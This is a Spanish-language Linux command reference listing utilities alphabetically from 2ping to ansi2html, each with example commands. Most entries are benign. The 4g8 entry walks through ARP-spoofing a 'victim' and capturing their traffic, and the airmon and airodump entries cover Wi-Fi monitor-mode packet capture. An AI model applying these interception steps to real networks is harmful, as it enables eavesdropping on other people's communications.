zfgrep . . . . .	788
zforce . . . . .	788
zgrep . . . . .	788
zile . . . . .	788
zip . . . . .	788
zipcmp . . . . .	789
zipinfo . . . . .	789
zipmerge . . . . .	789
ziptime . . . . .	789
ziptool . . . . .	789
zless . . . . .	789
zmap . . . . .	790
zmore . . . . .	790
znew . . . . .	790
zonemaster-cli . . . . .	790
zoo . . . . .	790
zopfli . . . . .	790
zoxide . . . . .	791
zrun . . . . .	791
zssh . . . . .	791
zstd . . . . .	791
zswap . . . . .	792
zsync . . . . .	792
zulucrypt-cli . . . . .	792
zutils . . . . .	792
zutty . . . . .	792
zypper . . . . .	793
zzuf . . . . .	794

---

# 0123456789#

---

## 2ping

Utilidad de ping bidireccional para determinar si ocurre una pérdida de paquetes en un sentido o en otro.

```
$ 2ping -c 5 -i 2 nombre_host.com
con 5 peticiones y a intervalos de 2 segundos
```

Nota.- si no se especifica número de peticiones, finalizar con ^C

## 4g8

Capturar paquetes de equipos de una red. Previamente preparar el equipo con los pasos previos para el envenenamiento arp lanzando en dos terminales y sin cerrarlas hasta terminar la captura:

```
# arpspoof -i eth0 -t 192.168.1.12 192.168.1.1
# arpspoof -i eth0 -t 192.168.1.1 192.168.1.12
```

El "2" el sniffado, el "1" el router y el -i la red. El paquete que contiene arpspoof es dsniff. Activar forwarding para que los paquetes vayan a su verdadero dueño:

```
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

Para conocer los parámetros [ips y MACs] que luego tendremos que entrar en 4g8 lanzar:

```
# nmap 192.168.1.0/24
```

Para conocer los equipos de la red. Una vez escogida la víctima, lanzar 4g8:

```
# 4g8 -i eth0 -g 192.168.1.1 -G 64:69:0C:87:A8:DC -s 192.168.1.12 -S 00:19:01:54:F5:1F -w dump.pcap
```

```
-g (ip del router)
-G (MAC del router)
-s (ip de la víctima)
-S (MAC de la víctima)
-w (archivo donde guardar las capturas)
```

Para el análisis del archivo dump.pcap se puede usar wireshark entre otros.

## 7zip

[7zip-rar]. Compresor/descompresor de archivos.

```
$ 7z a fichero.7z fichero
Comprime
```

```
$ 7z e comprimido
Descomprime
```

```
$ 7z l comprimido
```

```
Muestra las propiedades
```

```
$ 7z t fichero_comprimido  
Chequea contenido
```

```
$ 7z a -tgzip -p fichero.gz fichero  
proteger con una contraseña
```

## 9base

Es un sistema operativo distribuido similar a Unix creado por Bell Labs a mediados de los años 1980.

Es una adaptación de las siguientes herramientas originales del área de usuario de Plan 9 a Unix: `ascii`, `awk`, `basename`, `bc`, `cal`, `cat`, `cleanname`, `cmp`, `date`, `dc`, `dd`, `diff`, `du`, `echo`, `ed`, `factor`, `fmt`, `fortune`, `freq`, `getflags`, `grep`, `hoc`, `join`, `look`, `ls`, `mk`, `mkdir`, `mtime`, `pbd`, `primes`, `rc`, `read`, `sam`, `sed`, `seq`, `shalsum`, `sleep`, `sort`, `split`, `strings`, `tail`, `tee`, `test`, `touch`, `tr`, `troff`, `unicode`, `uniq`, `unutf`, `yacc`.

## 9menu

Crear un lanzador de aplicaciones en el escritorio.

```
$ 9menu -label gimp gimp &  
con el título gimp para lanzar gimp
```

```
$ 9menu 'xterm -e script.sh' &  
lanzador para un script de bash
```

Opciones:

```
-geometry 30x20 (especificando medidas del lanzador)  
-bg yellow (color de fondo)  
-fg red (color de la fuente)  
-popup (Que se cierre el lanzador una vez clicado)
```

---

## A

---

### a2dismod

Desactiva modulos de apache.

```
# a2dismod
Lista los módulos y pregunta cual desactivar
```

```
# a2dismod defensible
Desactiva el modulo defensible
```

### a2dssite

Deshabilita sitios de apache.

```
# a2dssite host_virtual.com
```

### a2enmod

Activa módulos de apache.

```
# a2enmod defensible
# a2enmod php8.2
activar php en localhost
```

### a2ensite

Habilita sitios de apache. Crear link simbólico a la carpeta sites-enabled.

```
# a2ensite host_virtual.com
```

### a2mp3

Optimizar y reducir al mínimo archivos mp3. Crea una carpeta con el archivo resultante en ~/a2mp3.

```
$ a2mp3 archivo.mp3
```

### a2png

Convertir textos a imagen .png.

```
$ a2png texto.txt texto.png
```



## a2ps

Imprimir y manipular archivos postscript. La codificación por defecto es la inglesa. La más parecida a utf8 es la latin1 o la isol [ISO-8859-1]. Incluye varios comandos: a2ps-lpr-wrapper, card, composeglyphs, fixnt, fixps, ogonkify, pdiff, psmandup, psset y texi2dvi4a2ps.

```
$ a2ps -o final.ps --columns=2 original.ps
Convertir un archivo [original.ps] a 2 páginas en una y mandar el resultado a otro [final.ps]
```

```
$ a2ps --printer=HP_psc_1100_series archivo.ps
mandar un archivo a imprimir
```

```
$ a2ps -l -o archivo.ps --no-header archivo.txt
Pasar un txt a ps y sin poner encabezados y apaisado[-l]
```

```
$ a2ps -X latin1 -o archivo.ps archivo.txt
Especificando codificación
```

```
$ a2ps --list=encoding
Listado de codificaciones suportadas
```

```
$ a2ps file.txt imagen.png impreso.pdf imagen.gif -o- | ps2pdf - archivo.pdf
unir varios archivos en un ps y luego convertirlo a pdf
```

Nota.- La opción -o- dice a a2ps que escriba el resultado en STDOUT. La opción - dice a ps2pdf que lea desde STDIN. Para visualizar ps puede usarse la aplicación gv.

## a2x

Convierte texto plano a formato PDF [por defecto], EPUB, DVI, PS, LaTeX, XHTML, página man...

```
$ a2x -f epub archivo.epub
Convertir a epub.
```

```
$ a2x -f manpage archivo.txt
Convertir a página man
```

## aa3d

Generador de arte ASCII a partir de textos o imagenes.

```
$ aa3d < texto.txt
```

```
$ aa3d -w 100 -t "linux es un sistema genial"
Con anchura de 100 espacios [por defecto 80] y usando un determinado texto
```

```
$ aa3d -d < texto.txt
Usando solo números
```

## aafire

[caca-utils]. Fuego animado en ascii. En algunas distros cacafire [ver].

```
$ aafire
```

## aajm

Malabarista en la terminal.

```
$ aajm -drive curses
para lanzarlo en las tty
```

```
$ aajm -t Reverse
especificar el estilo. Las opciones de estilo son: Normal, Reverse, Shower, Mills Mess, Center,
Windmill y Random
```

Opciones durante la actuación:

```
s (modificar el número de bolas)
- + (disminuir o acelerar al artista)
h (muestra las opciones)
q (salir)
```

## aaphoto

Ajuste del color automático para fotos.

```
$ aaphoto -a --overwrite *
autoajuste y sobrescribiendo todas las fotos del directorio
```

```
$ aaphoto -r 200 --jpg imagen.png
ajustarla a 200 pixels i con salida a jpg
```

```
$ aaphoto -r 50% --rotate90 imagen.png
Ajustandola al 50% y girandola 90º
```

```
$ aaphoto --flipy imagen.png
espejo vertical
```

```
$ aaphoto --flipx --rotate180 imagen.png
espejo horizontal y rotandola 180º
```

## ab

[apache2-utils]. Mostrar la capacidad de respuesta de un servidor WEB.

```
$ ab -n 100 -c 10 localhost:80/index.html
Con 100 conexiones y 10 simultaneas
```

```
$ ab -n 9000 -c 900 -e test.txt http://www.google.com/
Escribe en un archivo el tiempo [milisegundos] que tomó para servir a ese porcentaje de las
solicitudes
```

## abcde

[lame, cdparanoia, id3v2, vorbis-tools, cd-discid, normalize]. Extraer pistas de audio de un cd.

```
$ abcde -d /dev/sdc1 -N -x -o mp3
extrae disco completo en archivos mp3
```

```
$ abcde -d /dev/sdc1 -N -x -o ogg
extrae disco completo en archivos ogg
```

```
$ abcde -d /dev/sdc1 -N -x -o ogg tracks 1-3 5
extrae las tres primeras canciones y la quinta
```

Nota.- "-d" indica dispositivo, "-N" opciones por defecto y sin preguntar, "-x" expulsa el cd al acabar, "-o" tipo de archivo resultante

## abiword

Procesador de texto completo y rápido y con una interfaz muy simple. Dado que requiere pocos recursos técnicos puede usarse en equipos obsoletos. Tiene filtros de importación/exportación de documentos desde su formato nativo a XML, RTF, HTML, Microsoft Word, LaTeX y OpenDocument.

```
$ abiword --to=doc nombre.pdf
pasar pdf a doc
```

```
$ abiword --geometry=1366x768
Iniciar maximizado según la resolución de pantalla
```

## abook

Muestra una plantilla de libreta de direcciones. Proporciona muchos campos diferentes de información del usuario como nombre, email, dirección y varios campos de teléfono. abook está diseñado para usar con mutt, pero se puede usar de forma independiente.

```
$ abook
forma básica
```

```
$ abook -C archivo
Usando una plantilla diferente. Por defecto en ~/.abook/abookrc
```

Algunas teclas de control:

```
a (Añadir contacto y crear las pestañas para los datos. Usar las flechas para moverse
entre pestañas y los números de los conceptos para entrar información)
r (Suprimir contacto)
q (Salir)
```

## abs-guide

Un montón de ejemplos de bash scripting. Listado en:

```
$ ls /usr/share/doc/abs-guide/examples/
```

## abw2epub

Convierte documentos AbiWord a ePub.

```
$ abw2epub entrada.abw salida.epub
```

## abw2odt

Convertir documentos AbiWord en documentos OpenDocument de libreoffice.

```
$ abw2odt entrada.abw salida.odt
```

## ac

[acct]. Reporta los tiempos de conexión...

```
$ ac -p
totales de cada usuario
```

```
$ ac -f ~/Documents/text.txt
horas de uso del archivo especificado
```

```
# ac -d -y
conexión por días y total año del usuario root
```

```
# ac --reboots
desde el reinicio
```

## acct

Conjunto de utilidades (`ac`, `lastcomm`, `accton`, `dump-acct`, `dump-atmp` y `sa`) que se ejecutan en segundo plano y realizan un seguimiento de la actividad de cada usuario en el sistema, tiempos de conexión (en horas) así como de los recursos que se están consumiendo. Normalmente se levanta el servicio durante la instalación pero si no se ha levantado:

```
# /etc/init.d/acct start
```

Luego podran lanzarse las aplicaciones del paquete y los logs se guardarán en el archivo `/var/log/account/pacct`.

```
# ac
muestra el total de horas
```

```
# ac -d
por dias
```

```
# ac -p
de cada usuario
```

```
# dump-acct /var/log/account/pacct
ver el contenido de logs
```

```
# dump-utmp /var/log/account/pacct
```

```
# lastcomm root
del usuario root
```

```
# sa -a
comandos que fueron ejecutados por los usuarios
```

## accton

`[acct]`. Activar o desactivar la contabilidad de los procesos para la aplicación `acct` `[ver]`.

```
# accton on
activar registros
```

```
# accton off
parar registros
```

## achilles

Simulación pelín subrealista de vida artificial y evolución.

```
$ achilles -x 4 -z 4 -f 5
número de bloques en el eje y y en el x y número de alimentos iniciales
```

## ack

Está diseñado como una alternativa de `grep`. `ack` es inteligente en cuanto a los archivos que busca. Conoce ciertos tipos de archivos, según la extensión del archivo y, en algunos casos, el contenido del archivo. Para paginar la salida:

```
$ echo '--pager=less -RFX' >> ~/.ackrc
```

```
$ ack palabra
averiguar todas las instancias en las que se encuentra el patrón
```

```
$ ack -w palabra
palabra textual
```

```
$ ack -c palabra
que indique solo el número de lines coincidentes
```

## A

```
$ ack -ch palabra
-h suprime el prefijo del nombre de archivo en la salida y elimina los archivos con cero resultados. Mostrara número de líneas donde se realizó la búsqueda
```

```
$ ack -f palabra
imprimir solo los archivos que tienen coincidencias del directorio
```

```
$ ack -g log --cc
todos los archivos de lenguaje C que tienen el patrón "log" en algún lugar de su ruta
```

```
$ ack -f --cc
mostrar todos los archivos en lenguaje C
```

## aclock

Reloj digital en la pantalla.

```
$ AClock
```

## aconnect

Utilidad para conectar y desconectar dos puertos midi existentes en el sistema al secuenciador ALSA.

```
$ aconnect 64:0 65:0
conectar el puerto 64 al 65
```

```
$ aconnect -d 64:0 65:0
desconectar
```

```
$ aconnect -l
lista de conexiones
```

```
$ aconnect -x
suprimir todas las conexiones exportadas
```

## acpi

Monitorizar estado de la batería del portátil, si está conectado a la red y otras informaciones.

```
$ acpi -c
ventiladores
```

```
$ acpi -t
temperaturas
```

```
$ acpi -b
batería
```

```
$ acpi -i
información adicional de la batería
```

```
$ acpi -V
ver toda la información posible
```

```
$ watch acpi -V
en tiempo real
```

```
$ cat /proc/acpi/battery/BAT0/info
Muestra varios datos, los más importantes: design capacity y last full capacity. La diferencia entra ambas cantidades es la capacidad que ha perdido la batería
```

## acpitail

Muestra información del estado de ACPI sobre la batería, el ventilador y la temperatura.

```
$ acpitail -B 60 -F 10
de la batería cada 60 segundos. Por defecto 15 y del ventilador cada 10. Por defecto 5
```

## add-apt-repository

Simplifica la adición de repositorios concretos al sistema de aplicaciones que no se encuentran todavía en los repos oficiales. Instalar esta aplicación de Ubuntu en Debian mediante un script:

```
$ wget http://blog.anantshri.info/content/uploads/2010/09/add-apt-repository.sh.txt
descarga
```

```
# cp add-apt-repository.sh.txt /usr/sbin/add-apt-repository
copiar al directorio /usr/sbin
```

```
# chmod o+x /usr/sbin/add-apt-repository
otorgar permisos de ejecución
```

```
# chown root:root /usr/sbin/add-apt-repository
otorgar la propiedad a root
```

```
# add-apt-repository ppa:ppa-name
instalar una aplicación
```

1.-

Otra forma de añadir repositorios a `/etc/apt/sources.list` o a `/etc/apt/sources.list.d/` en el ejemplo añade el repositorio del escritorio Mate según la versión de Ubuntu instalada

```
# add-apt-repository deb http://packages.mate-desktop.org/repo/ubuntu $(lsb_release -cs)
main
```

## addgnupghome

Si GnuPG se instala en un sistema con cuentas de usuario existentes, es necesario rellenar el directorio de inicio de GnuPG estos archivos existentes. Especialmente `'trustlist.txt'` y un keybox con algunos certificados iniciales. Este script ayuda a hacer esto copiando todos los archivos de `/etc/skel/.gnupg` a los directorios personales de las cuentas indicadas en la línea de comandos. Tiene cuidado de no sobrescribir los directorios de inicio de GnuPG existentes.

```
# addgnupghome cuenta_user1 cuenta_user2
```

## add-shell

[debianutils]. Agrega shells a la lista de shells de inicio de sesión válidos. copia `/etc/shells` a `/etc/shells.tmp` y agrega los shells dados a este archivo si aún no están presentes y copia este archivo temporal de nuevo a `/etc/shells`. Deben proporcionarse rutas de acceso completas de las shells.

```
$ add-shell /bin/rbash
```

## adduser.conf

Archivo que contiene las preferencias para los comandos `adduser` y `addgroup` [`/etc/adduser.conf`]. Algunos parámetros importantes:

```
DSHELL=/bin/bash (shell para nuevos usuarios. Por defecto /bin/bash)
DHOME=/home (donde se crean los directorios de los nuevos usuarios. Por defecto /home.
SKEL=/etc/skel (directorio de donde se copian los ficheros de configuración base del
usuario. Por defecto /etc/skel)
FIRST_UID=1000 (Valor inicial del rango de IDs para usuarios normales)
LAST_UID=29999 (Rango final del rango de IDs)
DIR_MODE=0755 (Permisos de entrada de todos los directorios creados)
```

## adequate

comprobaciones adecuadas de los paquetes instalados en el sistema e informes de errores y violaciones de políticas.

```
$ adequate --all
comprobacion de todos los paquetes instalados
```

```
$ adequate coreutils
comprobar un paquete
```

```
$ adequate --tags obsolete-conf file --all
comprobar paquetes obsoletos
```

## adminer

Gestor de bases de datos via navegador más completa que phpmyadmin. Una vez instalado reiniciar apache:

```
# /etc/init.d/apache2 restart
```

Acceder a la aplicación con, `http://localhost/adminer` y entrar los datos de acceso (usuario, contraseña, servidor y gestor de la BD).

## aewan

Editor de dibujos en ascii. Una vez lanzada la aplicacion con las teclas de funcion F1-F4, se accede a los menus. La aplicacion llama ^ a la tecla control y % a la tecla Alt.

Algunas teclas de control:

```
Ctrl a (Abre un lienzo con las medidas por defecto)
Alt a (Pregunta por las medidas del lienzo)
Ctrl o (Abre un dibujo guardado previamente)
Ctrl s (Guarda el presente dibujo)
Ctrl w (Si tenemos mas de un dibujo, pasa al siguiente)
Ctrl q (Pasa al anterior)
Ctrl l (Muestra los lienzos abiertos y algunas opciones sobre ellos)
Ctrl d (Copiar el lienzo)
Ctrl r (Renombrar el lienzo)
Alt r (Modificar las medidas)
TAB (Abre el dialogo de colores)
Alt p (Selecciona el color de la celda donde esta el cursor)
Alt z (Llena la celda del color que se ha seleccionado con Alt p))
Ctrl e (Muestra los metadatos)
Ctrl c (Sale del programa)
```

## age

Cifrar y descifrar archivo. Si no se especifica archivo de salida lo hace por pantalla.

```
$ age -e -p -o salida archivo_entrada
encriptar con contraseña con el nombre de salida especificado el archivo_entrada
```

```
$ age -o desencriptado -d encriptado
desencriptar un archivo encriptado
```

```
$ age-keygen | age -p > clave.age
crear un clave y guardarla en clave.age
```

## agedu

Escanea directorios e informa de la cantidad de datos.

```
$ agedu -s .
$ agedu -s /var/www/html
$ agedu -s /var/www/html -w
abrir el informe en el navegador
```

## agetty

Alternativa a getty. Abre un puerto tty, pide un nombre de usuario e invoca el comando /bin/login. Es un programa que se ejecuta en una computadora host que administra terminales físicos o virtuales para permitir el acceso de múltiples usuarios. Tiene algunas características no-estandar que son útiles para líneas de cable y líneas telefónicas.

```
$ agetty 9600 ttyS1
$ agetty -8 linux
opciones para tty de 8 bits, '-' la entrada estándar ya está conectada a una tty y 'linux' es el
valor de la variable de entorno TERM

$ agetty -8 -t 5 linux
tiempo de espera del proceso de inicio de sesión 5 segundos

$ agetty --local-line 9600 ttyS1 vt100
$ agetty --extract-baud --timeout 60 ttyS1 9600,2400,1200
Para una línea de marcación de estilo antiguo con un módem de 9600/2400/1200 baudios

$ agetty --wait-cr --init-string 'ATEQ1&D2&C1S0=1\015' 115200 ttyS1
Para un módem Hayes con una interfaz fija de 115200 bps a la máquina. La cadena de inicio de
ejemplo desactiva el eco del módem y los códigos de resultado, hace que el módem/computadora
rastree el módem/módem DCD, hace que una caída de DTR cause una desconexión y activa la respuesta
automática después de 1 pitido
```

## aha

Lee el texto de entrada, lo convierte a HTML en color y lo escribe en la salida.

```
$ echo q | htop | aha -b -l > htop.html
Cree un archivo HTML con un fondo negro a partir de la salida de htop. La opción -l anula otros
comandos de nueva línea que usa htop

$ man age | aha -b -t 'manual de age' -y 'font-size:1.875em' > aha-age.html
con fondo negro, especificando título y una fuente concreta

$ ls -al --color=force | aha --pink > ls.htm
ls coloreado y pasado a html
```

## aide

Sistema de detección de intrusos. No evita la intrusión, sólo informa que esta se ha producido y qué archivos fueron modificados. La primera vez que se ejecuta, crea una base de datos con los atributos, usuarios, permisos... de los archivos especificados aplicándoles una o varias funciones hash por lo que el mejor momento para instalar esta aplicación es con un sistema recién instalado.

```
# aide -i
Crear la base de datos. Al iniciar por primera vez y evitar: Couldn't open file /var/lib/aide/
please-dont-call-aide-without-parameters/aide.db.new for writing

# aide -u
Actualizar la base de datos

# aide -c
Hacer un chequeo del sistema para comprobar modificaciones
```

Nota.- Los archivos de configuración: /etc/aide/aide.conf.d/, /etc/aide/aide.conf y /etc/default/aide



## airmon

[aircrack-ng]. Utilidad que coloca la tarjeta de red en modo monitor.

```
# airmon-ng start wlan0
Iniciar el modo monitor
```

```
# airmon-ng stop wlan0
Finalizarlo
```

```
# airmon-ng start wlan0 5
Especificando un canal
```

Nota.- Confirmar que la tarjeta está en modo monitor con iwconfig.

## airodump

[aircrack-ng]. Escaneo wifi y captura de paquetes. Previamente la tarjeta tiene que estar en modo monitor [ver airmon].

```
# airodump-ng mon0
Escanear redes disponibles. Para con Ctrl + c
```

```
# airodump-ng -c 8 --bssid BSSID w captura.cap mon0
que guarde las capturas del canal 8 de la dirección MAC [BSSID] en el archivo "captura.cap" de la
interfaz de red mon0
```

## ajaxplorer

Crear un owncloud [tipo dropbox] en local. Una vez instalado:

```
# cp /usr/share/doc/ajaxplorer/apache2.sample.conf /etc/apache2/sites-enabled/ajaxplorer.conf
```

Reiniciar apache:

```
# service apache2 restart
```

Acceder con <http://localhost/ajaxplorer> y, como primer paso, modificar la contraseña por defecto [admin/admin]

## ajaxterm

Proporciona una shell web por un puerto dado aceptando peticiones del mismo equipo desde el navegador.

```
$ ajaxterm -d
Lanza como demonio, colocando el puerto 8022 [si no se ha modificado] a la escucha
```

Se accede en local colocando en la barra del navegador: <http://localhost:8022>

```
$ ajaxterm -p 12500
Modificando el puerto por defecto
```

1.-

Modificar las medidas de la terminal:

```
# nano /usr/share/ajaxterm/ajaxterm.py
```

Modificar la linea con las medidas escogidas:

```
def __init__(self,width=150,height=60):
```

```
# nano /usr/share/ajaxterm/ajaxterm.html
```

```
t=ajaxterm.Terminal("term",150,60);
```

## akregator

Lector RSS.

Tecclas de control:

```
Ctrl + r (Marcar fuente como leída)
Ctrl + q (Salir de la aplicación)
Ctrl + l (Obtener todas las fuentes)
Ctrl + w (Cerrar pestaña)
- (Artículo previo sin leer)
+ (Artículo siguiente sin leer)
F2 (Editar la fuente)
F5 (Obtener la fuente)
p (Fuente anterior)
n (Fuente posterior)
Ctrl + Mayus + r (Marcar todas las fuentes como leídas)
Ctrl + Mayus + return (Abrir noticia en el navegador externo)
Mayus + return (Abrir noticia en una pestaña)
```

## alacritty

Emulador de terminal que utiliza GPU para realizar su trabajo. Un archivo de configuración puede ser <https://gitlab.com/dwt1/dotfiles/-/raw/master/.config/alacritty/alacritty.yml> y puede copiarse en `~/.alacritty`. Puede descargarse de <https://github.com/alacritty/alacritty/releases>

## alarm-clock-applet

Reloj despertador que se situa en el área de notificación. Admite alarmas múltiples y repetibles, así como función de repetición y un sistema de notificación flexible. Se admiten dos tipos de alarmas: despertadores y temporizadores. La notificación se realiza reproduciendo un sonido o lanzando una aplicación

```
$ alarm-clock-applet
coloca el applet en el area de notificación
```

## album

Crear una galeria de imagenes. En la carpeta de las imagenes:

```
$ album
```

Carpeta de temas en `/usr/share/album/Themes/` pero es preferible copiarla en el directorio raiz del directorio web:

```
$ cp -R /usr/share/album/Themes /var/www/.Themes
```

```
$ album -theme Stars fotos/
```

Usando el tema especificado con el directorio fotos. Listado en `/usr/share/album/Themes/`

```
$ album -columns 3 fotos/
```

que la página principal tenga un terminado número de columnas con las imágenes

```
$ album -charset=UTF-8 fotos/
```

Especificar codificación de caracteres

Para agregar pies de foto , crear el archivo `captions.txt` en el directorio y con el siguiente esquema:

```
$ nano fotos/captions.txt
```

foto1.jpg [una\_tabulación] Texto

foto2.jpg [una\_tabulación] Texto

foto3.jpg [una\_tabulación] Texto

## A

---

Si deseamos esconder una foto, la comentamos [#] en captions.txt.

Crear el archivo header.txt en el directorio con un texto:

```
$ nano fotos/header.txt
```

Fotos vacaciones en la playa

Agregar un final de página (footer):

```
$ nano fotos/footer.txt
```

Imágenes libre

Cualquier modificación de archivos o directorios implica actualizar la aplicación:

```
$ album fotos/
```

## alias

Permite que una cadena de palabras sea sustituida por una más corta.

```
$ alias ls='ls --color=auto'
```

Cuando se teclee "ls" se ejecutará su equivalencia

```
$ \ls
```

si "ls" es un alias se ejecutará sin serlo [ver nota]

```
# unalias ls
```

suprimir el alias

```
$ alias
```

listado de alias activos

Nota.- Para ejecutar un comando que coincida con un alias pero sin su equivalencia, además de precedirlo con una barra invertida [\] usando como ejemplo el mismo alias ls mencionado, también puede hacerse:

```
$ "ls"
```

```
$ 'ls'
```

```
$ command ls
```

```
$ /usr/bin/ls
```

## alien

Convertir formatos de distintas distribuciones.

```
$ alien --to-deb paquete
```

convertir a .deb

```
$ alien --to-rpm paquete
```

a .rpm

```
$ alien --to-tgz paquete
```

a .tgs

```
$ alien -i --to-deb paquete
```

convertirá paquete y lo instalará

## alpine

Gestor de correo. Antes de proseguir, si queremos que nos guarde la contraseña del correo crear el archivo:

```
$ touch .pine-passfile
```

La primera vez que lo lancemos creará el archivo .pinerc y mostrará un mensaje al que pulsaremos "intro" para entrar en el menú principal. Seleccionar "setup" y C. Del montón de parámetros que pueden personalizarse, sólo son imprescindibles 4:

"Personal name" [Shift + c para editarlo y en la parte inferior aparecerá el editor con el cursor parpadeando] Entramos el nombre del correo:

```
usuario@correo.com [intro]
```

"User Domain". Lo editamos [Shift + c] y colocamos:

```
correo.com [intro]
(gmail.com, gmx.es... según se trate)
```

```
"SMTP Server". [Shift + c] y entramos:
smtp.correo.com:587/tls/novalidate-cert/user=usuario@correo.com [intro]
"Inbox Path". [Shift + c] y ponemos:
{pop.correo.com/pop3/ssl/novalidate-cert/user=usuario@correo.com}INBOX
Intro y para salir de la configuración pulsar:
```

```
Shift + e
Preguntará si se salvan los datos. Pulsar "y" y regresamos al menú. Para entrar en el correo,
seleccionar "FOLDER LIST" Preguntará la contraseña y si queremos guardarla [lo hace en el
archivo .pine-passfile]
```

En "COMPOSE MESSAGE" se entran los correos separados por "," en el apartado Cc [copia oculta] o To. Ctrl + x para enviar.

## alsa-info

Información sobre los dispositivos alsa.

```
$ alsa-info
```

## alsabat

Probador de sonido para controlador de tarjeta de sonido alsa.

```
$ alsabat
básico
```

```
$ alsabat -P plughw:0,0 -C plughw:0,0 --file 500Hz.wav
```

```
$ alsabat -P plughw:0,0 -C plughw:0,0 -c 2 -f S32_LE -F 250
```

## alsabat-test

Testeo de la tarjeta de sonido

```
$ alsabat-test
```

## alsactl

Se usa para controlar la configuración avanzada de los controladores de la tarjeta de sonido ALSA.

```
# alsactl store
guarda el estado del controlador actual para la tarjeta de sonido seleccionada en el archivo de
configuración
```

```
# alsactl restore
carga el estado del controlador para la tarjeta de sonido seleccionada desde el archivo de
configuración
```

## alsaloop

Permite crear un bucle de retorno PCM entre un dispositivo de captura de PCM y un dispositivo de reproducción de PCM.

```
$ alsaloop -C hw:0,0 -P hw:1,0 -t 50000
```

## alsamixer

Mezclador de tarjeta de sonido para el controlador ALSA

```
$ alsamixer
```

```
$ alsamixer -V all
```

ver todas las opciones de salida

1.-

Guardar la configuración del volumen:

```
# nano /etc/pulse/default.pa
```

Comentar, como se muestra, la línea:

```
#load-module module-device-restore
```

## alsaucm

Permite a las aplicaciones acceder al hardware de forma abstracta

```
$ alsaucm -n listcards
```

no abrir la primera tarjeta encontrada [-n] y enumerar las tarjetas disponibles

```
$ alsaucm -n reload
```

releer la configuración

```
$ alsaucm -n reset
```

restablecer la tarjeta de sonido al estado predeterminado

## altavoz

Apagar el altavoz interno del pc

```
# gedit /etc/modprobe.d/blacklist
```

Y añadiremos la línea:

```
blacklist pcspkr
```

## amidi

Relativo a los dispositivos midi.

```
$ amidi -l
```

listar los dispositivos MIDI de ALSA-utils

## amixer

Bajar el volumen

```
$ amixer sset Master 50%-  
Bajar un 50% del volumen
```

```
$ amixer sset Master 30%+  
Sube un 30% el volumen
```

## an

Generar anagramas para una palabra o frase proporcionada por el usuario.

```
$ an -c 'lin' 'genial'  
que empiece por las letras "lin" contenidas en "genial"
```

```
$ an -l 4 'linux'  
limitando el número de anagramas a los de máximo 4 palabras o silabas
```

```
$ an -m 3 'juan gomez'  
solo poner grupos de palabras de 3 letres
```

## anacron

Puede utilizarse para ejecutar comandos periódicamente, con una frecuencia especificada en días. A diferencia de cron [ver], no asume que la máquina esté funcionando continuamente. Por lo tanto, puede usarse en máquinas que no funcionan 24 horas al día, para controlar tareas diarias, semanales y mensuales que normalmente se usa cron. Si cuando ha llevarse a cabo la tarea la máquina está apagada, la próxima vez que sea iniciada esperara los minutos especificados en "delay" y realizara la tarea indicada sin esperar al día siguiente. En el archivo de configuración /etc/anacrontab se han de especificar las tareas con el siguiente esquema: periodo\_tarea retardo\_ejecución identificador comando

periodad\_tarea: frecuencia con la cual se realizará la tarea: @daily o 1 [diario], @weekly o 7 [semanal], @monthly o 30 [mensual] o 50 [cada 50 dias]

retarde\_ejecución: Indica la cantidad de minutos antes de ser ejecutada la tarea.

identificador: Nombre que damos a la tarea.

Comando: Comando o script que será ejecutado.

En el archivo /etc/anacrontab, si debajo de LOGNAME= root añadimos START\_HOURS\_RANGE=23-6, entonces los trabajos únicamente se ejecutarán entre las 23 de la noche y las 6 de la madrugada. Otra opción es añadir el parámetro RANDOM\_DELAY=15 que lo que hará este parámetro es añadir un retardo aleatorio adicional de 0 a 15 minutos a cada una de las tareas que se van a ejecutar para repartir mejor la carga del sistema.

```
# anacron -f  
forzar la ejecución de las tareas, ignorando las marcas de tiempo
```

```
# anacron -u  
actualiza las marcas de tiempo de los trabajos, a la fecha actual, pero no ejecuta nada
```

```
# anacron -n  
Ejecute las tareas ahora, ignorando cualquier retraso
```

```
# anacron -d -s  
realizar las tareas ahora de forma secuenciada, primero las diarias, luego las semanales y al final las mensuales
```

```
# cat /var/spool/anacron/cron.daily  
consultar la fecha en que se ejecutaron la totalidad de scripts guardados en, por ejemplo, cron.daily, igual para cron.monthly y cron.weekly
```

Ejemplo de backup semanal:

## A

```
# nano /etc/anacrontab
```

Y colocar la línea:

```
7 5 backup.semanal /bin/bash /home/user/bin/backup.sh
```

Significa que cada 7 días, 5 minutos arriba o abajo y con el nombre backup.semanal se lanzando el script backup.sh ejecutado por bash.

## analog

Procesador de archivos de registro rápido que genera informes y estadísticas de uso de servidores web. Puede procesar millones de líneas por minuto, escalable, flexible, salida en HTML, maneja muchos formatos de archivos de registro y, además de por línea de comandos, puede utilizar una interfaz web.

```
# analog +Oanalog.html
[letra "o" mayuscula y justo a continuación el nombre] Genera el informe "analog.html"
```

```
# analog
Muestra la salida por consola
```

## anarchism

Historia del anarquismo en inglés. Acceder al contenido mediante el navegador.

file:///usr/share/doc/anarchism/html/index.html

## anamnesis

Gestor del portapapeles. Almacena el historial del portapapeles y ofrece una interfaz para hacer búsquedas de todo lo copiado. Descarga de: <<http://sourceforge.net/projects/anamnesis/>> Una vez descomprimido copiar la carpeta en:

```
# cp anamnesis-1.0.4 /usr/local/
```

Colocar el ejecutable en el path:

```
# ln -s /usr/local/anemnesis-1.0.4/source/anemnesis.py /usr/bin/anemnesis
```

```
$ anamnesis --start
Arrancar sesión. Otras opciones: restart, stop
```

```
$ anamnesis -b
Ver el historial. Con intro o cambiando de escritorio desaparece
```

```
$ anamnesis -l 3
Mostrar los últimos 3 datos guardados
```

```
$ anamnesis -l 5 --filter="palabra"
Buscar en los últimos 5 datos el que contine "palabra"
```

```
$ anamnesis -a "Historial del Portapapeles"
Ponerle un título
```

```
$ anamnesis --remove = 5
Eliminar el registro del ID número 5
```

## and

Demonio automático que se activa en ciertos intervalos y renueva los trabajos según su prioridad y uso de CPU. Archivo de configuración en `/etc/and.conf`

```
$ systemctl status and.service
saber si está activo
```

## anillo de claves

Suprimir el desbloquear anillo de claves

```
$ rm -Rf .gnome2/keyrings/login.keyring

# killall gnome-keyring-daemon
matar el demonio
```

## animate

[imagemagick]. visualizar gif.

```
$ animate vuelo.gif
```

## anon-proxy

Navegación anónima via proxy. los archivos de configuración en `/etc/default/anon-proxy`.

```
# /etc/init.d/anon-proxy start
Arrancar el proxy
```

Configurar el navegador con localhost y el puerto 4001

## ansi2html

[colorized-logs]. Pasar textos a html.

```
# ansi2html -w </var/log/apache2/access.log >acces.html
con el fondo blanco
```

